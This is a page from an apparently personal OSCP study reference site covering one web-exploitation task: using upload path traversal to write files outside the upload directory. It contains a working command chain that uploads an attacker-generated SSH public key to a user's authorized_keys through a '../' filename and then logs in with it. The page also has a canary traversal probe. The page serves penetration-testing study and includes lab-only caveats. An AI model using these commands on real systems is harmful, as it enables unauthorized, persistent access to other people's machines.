Skip to content
leg3ndProjects & tools
01Home02Projects03Tools04Notes
GMT+8
O/ OSCP exploitation reference
Workspace controls Memory only · 0 steps
Visualize path ↗
Command values 0 filled

Temporary connection values clear on reload. Passwords, hashes and tickets remain placeholders. Check address-family syntax in the selected command.

Reference index ↗ Search all procedures & variants ↗
01Discovery02Enumeration03Initial access04Usable access05Local privilege06Active Directory07Internal access08Evidence & reporting

QUICK REFERENCE

Discovery›Services›Web mapping›Web exploitation›Credentials›Public exploits›Sessions & transfers›Linux escalation›Windows escalation›AD enumeration›AD identity attacks›Lateral movement›Pivoting & tunnels›Execution troubleshooting›Integration & evidence›
174 methods · 15 topicsFull reference on GitHub ↗Commands · scripts · next steps
Tools/OSCP/Initial access/Web exploitation
← All web exploitation tasks

Use upload path control to reach a useful consumer

CommandsIf → thenExplanation & examples

Needs: Destination path control survives normalization; write identity can reach the destination; a known consumer accepts the resulting file

Lab-only variant — controlled SSH public-key placement

# Lab-only variant — controlled SSH public-key placement
ssh-keygen -t ed25519 -f ./web_upload_key -N ''
cp ./web_upload_key.pub ./authorized_keys
curl -sk -b cookies.txt -F 'file=@authorized_keys;filename=../../../../home/USER/.ssh/authorized_keys' http://TARGET:PORT/upload
ssh -i ./web_upload_key -p SSH_PORT USER@TARGET

Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.

Verify → Independently prove destination and bytes before claiming a privileged consumer or accepted key.

If it fails → Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect. More detail ↓

If → then

  • An SSH service and a known password, private key or agent context → Use SSH passwords, keys and forwarding-capable access

    Needs: Compatible authentication method, correct user, accepted key policy and the requested shell/subsystem permission

  • A root-consumed file or directory appears writable → Prove effective file, directory, ACL and mount control

    Needs: Effective access through every parent/ACL and mount; a privileged consumer and trigger are identified separately

  • A privileged object appears writable or an ACL tool reports a useful right → Prove effective file, registry and service-object permissions

    Needs: Correct trustee/token, object type and effective rights including parents and deny entries

No useful finding → another task in this topic. Failed check → resolve the failure before ruling out the path.

Explanation & examples

Use upload path control to reach a useful consumer

USE WHEN
A multipart filename/import path appears to influence the filesystem destination
STARTING ACCESS
A reproducible application request and a controlled input or access-context comparison
RESULT
A verified destination write and, when separately enabled, an authentication or execution transition

Recognize the clue

Inspect an accepted upload's raw multipart filename/path fields and compare the returned destination for one harmless unique filename.

curl -sk -b cookies.txt -F 'file=@probe.txt;filename=../UNIQUE_CANARY.txt;type=text/plain' http://TARGET:PORT/upload
SYNTHETIC EXAMPLE OUTPUT
Submitted filename: ../UNIQUE_CANARY.txt
Independent listing: /EXPECTED_PARENT/UNIQUE_CANARY.txt

Means: An independently located out-of-directory canary is path-control evidence; it does not establish access to another user's key directory.

Confirm: Confirm filesystem identity, exact destination semantics, write permissions and a useful consumer/trigger.

After validation
A controlled usable destination and its consumer accept the file: select that verified write-to-access chain.
Ruled out in this context
The server strips path components and stores only a generated basename: reject arbitrary placement in that context.
Still inconclusive
A reflected submitted path without independent location evidence leaves placement inconclusive.

Troubleshooting: Normalization, permissions and consumer policy are separate failure points; preserve the proven write without overstating its effect.

First use a harmless unique filename outside the normal upload directory and verify it through a separate read/listing primitive. Do not overwrite an existing file as a detection test.

Lab-only variant — controlled SSH public-key placement

Use only in a disposable authorized lab after confirming the exact user/home, SSH service, web write identity, destination semantics and overwrite impact. Failure can mean path normalization, permission denial, SSH policy or a different user—not necessarily that upload path control is absent.

Why it works

Arbitrary placement is different from an executable web upload. An SSH-key route additionally requires the exact user/home, directory/file semantics, accepted key policy and reachable SSH service.

Worked example · hypothetical

Observation: an upload stores a benign canary outside its normal directory. Test: independently locate/read it. Illustrative output: the destination belongs to the web identity but another user's SSH directory is not writable. Interpretation: path control exists; the proposed key-placement chain does not.

New identity, privilege, host or route? Re-enumerate → All topic tasks →

Study guide ↗Full procedure ↗Cheatsheet ↗
HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8